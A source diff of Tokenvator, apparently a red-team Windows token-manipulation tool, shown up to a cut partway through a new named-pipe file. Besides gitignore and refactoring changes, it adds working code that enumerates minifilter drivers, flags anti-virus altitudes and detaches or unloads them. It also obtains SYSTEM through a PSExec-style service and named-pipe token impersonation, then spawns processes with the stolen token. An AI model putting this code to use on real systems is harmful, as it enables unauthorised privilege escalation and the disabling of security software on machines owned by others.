diff --git a/.gitignore b/.gitignore index 71f34d9..83243f3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,52 +1,329 @@ -# Windows image file caches -Thumbs.db -ehthumbs.db +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore -# Folder config file -Desktop.ini +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates -# Recycle Bin used on file shares -$RECYCLE.BIN/ +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs -# Windows Installer files -*.cab -*.msi -*.msm -*.msp +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ -# Windows shortcuts -*.lnk +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ -# ========================= -# Operating System Files -# ========================= +# Visual Studio 2017 auto generated files +Generated\ Files/ -# OSX -# ========================= +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* -.DS_Store -.AppleDouble -.LSOverride +# NUNIT +*.VisualState.xml +TestResult.xml -# Thumbnails -._* +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c -# Files that might appear in the root of a volume -.DocumentRevisions-V100 -.fseventsd -.Spotlight-V100 -.TemporaryItems -.Trashes -.VolumeIcon.icns +# Benchmark Results +BenchmarkDotNet.Artifacts/ -# Directories potentially created on remote AFP share -.AppleDB -.AppleDesktop +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ -# Network Trash Folder -.apdisk +# StyleCop +StyleCopReport.xml -# Temporary Items -*.snk +# Files built by Visual Studio +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.iobj +*.pch *.pdb -*.exe +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# JetBrains Rider +.idea/ +*.sln.iml + +# CodeRush +.cr/ + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ \ No newline at end of file diff --git a/Tokenvator.sln b/Tokenvator.sln index 57604eb..474673f 100644 --- a/Tokenvator.sln +++ b/Tokenvator.sln @@ -1,6 +1,8 @@  -Microsoft Visual Studio Solution File, Format Version 10.00 -# Visual C# Express 2008 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27703.2042 +MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Tokenvator", "Tokenvator\Tokenvator.csproj", "{0A1ADFEC-C824-4B97-9241-41C00CC2B982}" EndProject Global @@ -17,4 +19,7 @@ Global GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {32888FBE-73C0-4353-9615-32EB7BD2CB84} + EndGlobalSection EndGlobal diff --git a/Tokenvator.suo b/Tokenvator.suo deleted file mode 100644 index 03adfb1..0000000 Binary files a/Tokenvator.suo and /dev/null differ diff --git a/Tokenvator/CreateProcess.cs b/Tokenvator/CreateProcess.cs index 8d48413..0a8629f 100644 --- a/Tokenvator/CreateProcess.cs +++ b/Tokenvator/CreateProcess.cs @@ -2,6 +2,9 @@ using System.Runtime.InteropServices; using System.Text; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class CreateProcess @@ -31,24 +34,21 @@ public static Boolean CreateProcessWithLogonW(IntPtr phNewToken, String name, St } Console.WriteLine("[*] CreateProcessWithLogonW"); - Structs._STARTUPINFO startupInfo = new Structs._STARTUPINFO(); - startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Structs._STARTUPINFO)); - Structs._PROCESS_INFORMATION processInformation = new Structs._PROCESS_INFORMATION(); - if (!advapi32.CreateProcessWithLogonW( - "i", - "j", - "k", - 0x00000002, + Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); + startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); + Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); + if (!advapi32.CreateProcessWithLogonW("i","j","k", + Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, + name, name, - arguments, - 0x04000000, + Winbase.CREATION_FLAGS.CREATE_DEFAULT_ERROR_MODE, IntPtr.Zero, - Environment.SystemDirectory, + Environment.CurrentDirectory, ref startupInfo, out processInformation )) { - Console.WriteLine(" [-] Function CreateProcessWithLogonW failed: " + Marshal.GetLastWin32Error()); + Tokens.GetWin32Error("CreateProcessWithLogonW"); return false; } @@ -62,7 +62,7 @@ out processInformation //////////////////////////////////////////////////////////////////////////////// public static Boolean CreateProcessWithTokenW(IntPtr phNewToken, String name, String arguments) { - if (name.Contains("\\")) + if (name.Contains(@"\")) { name = System.IO.Path.GetFullPath(name); if (!System.IO.File.Exists(name)) @@ -82,24 +82,24 @@ public static Boolean CreateProcessWithTokenW(IntPtr phNewToken, String name, St } Console.WriteLine("[*] CreateProcessWithTokenW"); - IntPtr lpProcessName = Marshal.StringToHGlobalUni(name); - IntPtr lpProcessArgs = Marshal.StringToHGlobalUni(arguments); - Structs._STARTUPINFO startupInfo = new Structs._STARTUPINFO(); - startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Structs._STARTUPINFO)); - Structs._PROCESS_INFORMATION processInformation = new Structs._PROCESS_INFORMATION(); + Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO + { + cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)) + }; + Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); if (!advapi32.CreateProcessWithTokenW( phNewToken, - Enums.LOGON_FLAGS.NetCredentialsOnly, - lpProcessName, - lpProcessArgs, - Enums.CREATION_FLAGS.NONE, - IntPtr.Zero, + Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, + name, + name + " " + arguments, + Winbase.CREATION_FLAGS.NONE, IntPtr.Zero, + Environment.CurrentDirectory, ref startupInfo, out processInformation )) { - Console.WriteLine(" [-] Function CreateProcessWithTokenW failed: " + Marshal.GetLastWin32Error()); + Tokens.GetWin32Error("CreateProcessWithTokenW"); return false; } Console.WriteLine(" [+] Created process: " + processInformation.dwProcessId); diff --git a/Tokenvator/Enumeration.cs b/Tokenvator/Enumeration.cs index e14dfc2..b1bbfa7 100644 --- a/Tokenvator/Enumeration.cs +++ b/Tokenvator/Enumeration.cs @@ -6,6 +6,9 @@ using System.Runtime.InteropServices; using System.Text; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class Enumeration @@ -50,7 +53,7 @@ public static void EnumerateInteractiveUserSessions() //////////////////////////////////////////////////////////////////////////////// public static Boolean ConvertTokenStatisticsToUsername(Winnt._TOKEN_STATISTICS tokenStatistics, ref String userName) { - IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Structs._LUID))); + IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Winnt._LUID))); Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false); if (IntPtr.Zero == lpLuid) { @@ -74,7 +77,7 @@ public static Boolean ConvertTokenStatisticsToUsername(Winnt._TOKEN_STATISTICS t return false; } - if (Environment.MachineName+"$" == Marshal.PtrToStringUni(securityLogonSessionData.UserName.Buffer) && ConvertSidToName(securityLogonSessionData.Sid, ref userName)) + if (Environment.MachineName+"$" == Marshal.PtrToStringUni(securityLogonSessionData.UserName.Buffer) && ConvertSidToName(securityLogonSessionData.Sid, out userName)) { return true; @@ -87,27 +90,45 @@ public static Boolean ConvertTokenStatisticsToUsername(Winnt._TOKEN_STATISTICS t //////////////////////////////////////////////////////////////////////////////// // Converts a SID Byte array to User Name //////////////////////////////////////////////////////////////////////////////// - public static Boolean ConvertSidToName(IntPtr sid, ref String userName) + public static Boolean ConvertSidToName(IntPtr sid, out String userName) { + StringBuilder sbUserName = new StringBuilder(); + StringBuilder lpName = new StringBuilder(); UInt32 cchName = (UInt32)lpName.Capacity; StringBuilder lpReferencedDomainName = new StringBuilder(); UInt32 cchReferencedDomainName = (UInt32)lpReferencedDomainName.Capacity; - Enums._SID_NAME_USE sidNameUser; - advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser); + advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out Winnt._SID_NAME_USE sidNameUse); - lpName.EnsureCapacity((Int32)cchName); - lpReferencedDomainName.EnsureCapacity((Int32)cchReferencedDomainName); - if (advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser)) + lpName.EnsureCapacity((Int32)cchName + 1); + lpReferencedDomainName.EnsureCapacity((Int32)cchReferencedDomainName + 1); + advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse); + + if (lpReferencedDomainName.Length > 0) { - return false; + sbUserName.Append(lpReferencedDomainName); + } + + if (sbUserName.Length > 0) + { + sbUserName.Append(@"\"); + } + + if (lpName.Length > 0) + { + sbUserName.Append(lpName); } - if (String.IsNullOrEmpty(lpName.ToString()) || String.IsNullOrEmpty(lpReferencedDomainName.ToString())) + + userName = sbUserName.ToString(); + + if (String.IsNullOrEmpty(userName)) { return false; } - userName = lpReferencedDomainName.ToString() + "\\" + lpName.ToString(); - return true; + else + { + return true; + } } //////////////////////////////////////////////////////////////////////////////// @@ -125,7 +146,7 @@ public static Dictionary EnumerateTokens(Boolean findElevation) continue; } IntPtr hToken; - if (!kernel32.OpenProcessToken(hProcess, (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) { continue; } @@ -141,14 +162,14 @@ public static Dictionary EnumerateTokens(Boolean findElevation) UInt32 dwLength = 0; Winnt._TOKEN_STATISTICS tokenStatistics = new Winnt._TOKEN_STATISTICS(); //Split up impersonation and primary tokens - if (Winnt.TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) + if (Winnt._TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) { continue; } - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { Console.WriteLine("GetTokenInformation: {0}", Marshal.GetLastWin32Error()); continue; @@ -223,7 +244,7 @@ public static Dictionary EnumerateUserProcesses(Boolean findElev continue; } IntPtr hToken; - if (!kernel32.OpenProcessToken(hProcess, (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) { continue; } @@ -236,16 +257,16 @@ public static Dictionary EnumerateUserProcesses(Boolean findElev UInt32 dwLength = 0; Winnt._TOKEN_STATISTICS tokenStatistics = new Winnt._TOKEN_STATISTICS(); - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { continue; } } kernel32.CloseHandle(hToken); - if (Winnt.TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) + if (Winnt._TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) { continue; } diff --git a/Tokenvator/FilterInstance.cs b/Tokenvator/FilterInstance.cs new file mode 100644 index 0000000..c91d074 --- /dev/null +++ b/Tokenvator/FilterInstance.cs @@ -0,0 +1,125 @@ +using System; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + class FilterInstance : Filters + { + private String filterName; + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal FilterInstance(String filterName) : base() + { + this.filterName = filterName; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal override void First() + { + Console.WriteLine("{0,-20} {1,-11} {2,8} {3,-20}", "Instance Name", "Filter Name", "Altitude", "Volume Name"); + Console.WriteLine("{0,-20} {1,-11} {2,8} {3,-20}", "-------------", "-----------", "--------", "-----------"); + + UInt32 dwBytesReturned = 0; + UInt32 result = fltlib.FilterInstanceFindFirst(filterName, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, IntPtr.Zero, 0, ref dwBytesReturned, ref hFilters); + + if (2149515283 == result) + { + Console.WriteLine("Filter Not Found"); + Dispose(); + return; + } + + if (2147942522 != result || 0 == dwBytesReturned) + { + return; + } + + IntPtr lpBuffer = Marshal.AllocHGlobal((int)dwBytesReturned); + fltlib.FilterInstanceFindFirst(filterName, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, lpBuffer, dwBytesReturned, ref dwBytesReturned, ref hFilters); + + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal override void Next() + { + if (IntPtr.Zero == hFilters) + { + return; + } + + UInt32 lpBytesReturned = 0; + UInt32 result = 0; + do + { + if (2147942522 != fltlib.FilterInstanceFindNext(hFilters, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, IntPtr.Zero, 0, ref lpBytesReturned)) + { + break; + } + IntPtr lpBuffer = Marshal.AllocHGlobal((Int32)lpBytesReturned); + result = fltlib.FilterInstanceFindNext(hFilters, FltUserStructures._INSTANCE_INFORMATION_CLASS.InstanceFullInformation, lpBuffer, lpBytesReturned, ref lpBytesReturned); + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + while (0 == result); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + private void Print(IntPtr baseAddress) + { + var info = (FltUserStructures._INSTANCE_FULL_INFORMATION)Marshal.PtrToStructure(baseAddress, typeof(FltUserStructures._INSTANCE_FULL_INFORMATION)); + + Int32 offset = 0; + while (true) + { + IntPtr lpName = new IntPtr(baseAddress.ToInt64() + info.InstanceNameBufferOffset); + String name = Marshal.PtrToStringUni(lpName, info.InstanceNameLength / 2); + + IntPtr lpFilter = new IntPtr(baseAddress.ToInt64() + info.FilterNameBufferOffset); + String filter = Marshal.PtrToStringUni(lpFilter, info.FilterNameLength / 2); + + IntPtr lpAltitude = new IntPtr(baseAddress.ToInt64() + info.AltitudeBufferOffset); + String altitude = Marshal.PtrToStringUni(lpAltitude, info.AltitudeLength / 2); + + IntPtr lpVolume = new IntPtr(baseAddress.ToInt64() + info.VolumeNameBufferOffset); + String volume = Marshal.PtrToStringUni(lpVolume, info.VolumeNameLength / 2); + + Console.WriteLine("{0,-20} {1,-11} {2,8} {3,-20}", name, filter, altitude, volume); + if (0 == info.NextEntryOffset) + { + return; + } + IntPtr updatedBase = new IntPtr(baseAddress.ToInt64() + offset); + info = (FltUserStructures._INSTANCE_FULL_INFORMATION)Marshal.PtrToStructure(updatedBase, typeof(FltUserStructures._INSTANCE_FULL_INFORMATION)); + } + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + ~FilterInstance() + { + Dispose(); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public override void Dispose() + { + fltlib.FilterInstanceFindClose(hFilters); + } + } +} diff --git a/Tokenvator/Filters.cs b/Tokenvator/Filters.cs new file mode 100644 index 0000000..6819742 --- /dev/null +++ b/Tokenvator/Filters.cs @@ -0,0 +1,142 @@ +using System; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + class Filters : IDisposable + { + protected IntPtr hFilters; + private FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION info; + + internal Filters() + { + Console.WriteLine(); + } + + internal virtual void First() + { + Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "Frame ID", "Instances", "Altitude", "Filter Name"); + Console.WriteLine("{0,8} {1,9} {2,8} {3,-10}", "--------", "---------", "--------", "-----------"); + + UInt32 dwBytesReturned = 0; + UInt32 result = fltlib.FilterFindFirst(FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, IntPtr.Zero, 0, ref dwBytesReturned, ref hFilters); + + if (2147942522 != result || 0 == dwBytesReturned) + { + return; + } + IntPtr lpBuffer = Marshal.AllocHGlobal((int)dwBytesReturned); + fltlib.FilterFindFirst(FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, lpBuffer, dwBytesReturned, ref dwBytesReturned, ref hFilters); + + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + + internal virtual void Next() + { + if (IntPtr.Zero == hFilters) + { + return; + } + + UInt32 result = 0; + do + { + if (2147942522 != fltlib.FilterFindNext(hFilters, FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, IntPtr.Zero, 0, out UInt32 lpBytesReturned)) + { + break; + } + IntPtr lpBuffer = Marshal.AllocHGlobal((Int32)lpBytesReturned); + result = fltlib.FilterFindNext(hFilters, FltUserStructures._FILTER_INFORMATION_CLASS.FilterAggregateBasicInformation, lpBuffer, lpBytesReturned, out lpBytesReturned); + + Print(lpBuffer); + Marshal.FreeHGlobal(lpBuffer); + } + while (0 == result); + } + + private static void Print(IntPtr baseAddress) + { + var info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(baseAddress, typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); + + UInt32 offset = 0; + do + { + IntPtr lpAltitude = new IntPtr(baseAddress.ToInt64() + info.FilterAltitudeBufferOffset); + String altitude = Marshal.PtrToStringUni(lpAltitude, info.FilterAltitudeLength / 2); + + String alarm = ""; + if (UInt32.TryParse(altitude, out UInt32 dwAltitude)) + { + if (320000 <= dwAltitude && 329998 >= dwAltitude) + { + alarm = "[!] Anti-Virus"; + } + + else if (140000 <= dwAltitude && 149999 >= dwAltitude) + { + alarm = "[*] Encryption"; + } + + else if (80000 <= dwAltitude && 89999 >= dwAltitude) + { + alarm = "[!] Security Enhancer"; + + } + } + + IntPtr lpName = new IntPtr(baseAddress.ToInt64() + info.FilterNameBufferOffset); + String name = Marshal.PtrToStringUni(lpName, info.FilterNameLength / 2); + + Console.WriteLine("{0,8} {1,9} {2,8} {3,-20} {4,-15}", info.FrameID, info.NumberOfInstances, altitude, name, alarm); + + IntPtr updatedBase = new IntPtr(baseAddress.ToInt64() + info.NextEntryOffset); + info = (FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)Marshal.PtrToStructure(updatedBase, typeof(FltUserStructures._FILTER_AGGREGATE_BASIC_INFORMATION)); + } + while (0 != offset); + } + + internal static void FilterDetach(String input) + { + String filterName = MainLoop.NextItem(ref input); + String volumeName = MainLoop.NextItem(ref input); + String instanceName = input; + if (volumeName == instanceName) + { + instanceName = String.Empty; + } + + UInt32 result = fltlib.FilterDetach(filterName, volumeName, instanceName); + if (0 != result) + { + Console.WriteLine("FilterDetach Failed: 0x{0}", result.ToString("X4")); + } + } + + internal static void Unload(String filterName) + { + UInt32 result = fltlib.FilterUnload(filterName); + if (0 != result) + { + if (2147943714 == result) + { + Console.WriteLine("Privilege Not Held"); + } + Console.WriteLine("FilterUnload Failed: 0x{0}", result.ToString("X4")); + } + } + + ~Filters() + { + Dispose(); + } + + public virtual void Dispose() + { + fltlib.FilterFindClose(hFilters); + } + } +} diff --git a/Tokenvator/NamedPipes.cs b/Tokenvator/NamedPipes.cs new file mode 100644 index 0000000..b306a70 --- /dev/null +++ b/Tokenvator/NamedPipes.cs @@ -0,0 +1,248 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + class NamedPipes + { + private static IntPtr hToken = IntPtr.Zero; + private const String baseDirectory = @"\\.\pipe\"; + private static AutoResetEvent waitHandle = new AutoResetEvent(false); + + private delegate Boolean Create(IntPtr phNewToken, String newProcess, String arguments); + + internal NamedPipes() + { + + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + internal static void GetSystem() + { + Thread thread = new Thread(() => _GetPipeToken(@"\\.\pipe\Tokenvator")); + + using (PSExec psExec = new PSExec("Tokenvator")) + { + psExec.Connect("."); + psExec.Create("%COMSPEC% /c echo tokenvator > \\\\.\\pipe\\Tokenvator"); + psExec.Open(); + thread.Start(); + waitHandle.WaitOne(); + psExec.Start(); + psExec.Stop(); + } + + thread.Join(); + + if (IntPtr.Zero != hToken) + { + advapi32.ImpersonateLoggedOnUser(hToken); + kernel32.CloseHandle(hToken); + Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + hToken = IntPtr.Zero; + } + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + internal static void GetSystem(String command, String arguments) + { + Thread thread = new Thread(() => _GetPipeToken(@"\\.\pipe\Tokenvator")); + + using (PSExec psExec = new PSExec("Tokenvator")) + { + psExec.Connect("."); + psExec.Create("%COMSPEC% /c echo tokenvator > \\\\.\\pipe\\Tokenvator"); + psExec.Open(); + thread.Start(); + waitHandle.WaitOne(); + psExec.Start(); + psExec.Stop(); + } + + thread.Join(); + + Create createProcess; + if (0 == System.Diagnostics.Process.GetCurrentProcess().SessionId) + { + createProcess = CreateProcess.CreateProcessWithLogonW; + } + else + { + createProcess = CreateProcess.CreateProcessWithTokenW; + } + createProcess(hToken, command, arguments); + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + public static void GetPipeToken(String pipeName) + { + Console.WriteLine("[*] Creating Listener Thread"); + Thread thread = new Thread(() => _GetPipeToken(pipeName)); + thread.Start(); + waitHandle.WaitOne(); + + Console.WriteLine("[*] Joining Thread"); + thread.Join(); + Console.WriteLine("[*] Joined Thread"); + + if (IntPtr.Zero != hToken) + { + advapi32.ImpersonateLoggedOnUser(hToken); + + kernel32.CloseHandle(hToken); + Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + hToken = IntPtr.Zero; + } + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + public static void GetPipeToken(String pipeName, String command) + { + Console.WriteLine("[*] Creating Listener Thread"); + Thread thread = new Thread(() => _GetPipeToken(pipeName)); + thread.Start(); + waitHandle.WaitOne(); + + Console.WriteLine("[*] Joining Thread"); + thread.Join(); + Console.WriteLine("[*] Joined Thread"); + + if (IntPtr.Zero != hToken) + { + Console.WriteLine("[*] CreateProcessWithLogonW"); + Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); + startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); + Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); + if (!advapi32.CreateProcessWithLogonW( + "i", "j", "k", + Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, + command, command, + Winbase.CREATION_FLAGS.CREATE_DEFAULT_ERROR_MODE, + IntPtr.Zero, + Environment.CurrentDirectory, + ref startupInfo, + out processInformation + )) + { + Tokens.GetWin32Error("CreateProcessWithLogonW"); + } + else + { + Console.WriteLine(" [+] Created process: {0}", processInformation.dwProcessId); + Console.WriteLine(" [+] Created thread: {1}", processInformation.dwThreadId); + } + kernel32.CloseHandle(hToken); + hToken = IntPtr.Zero; + } + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + private static Boolean _GetPipeToken(String pipeName) + { + IntPtr hNamedPipe = IntPtr.Zero; + try + { + hNamedPipe = kernel32.CreateNamedPipeA(pipeName, Winbase.OPEN_MODE.PIPE_ACCESS_DUPLEX, Winbase.PIPE_MODE.PIPE_TYPE_MESSAGE | Winbase.PIPE_MODE.PIPE_WAIT, 2, 0, 0, 0, IntPtr.Zero); + if (IntPtr.Zero == hNamedPipe) + { + 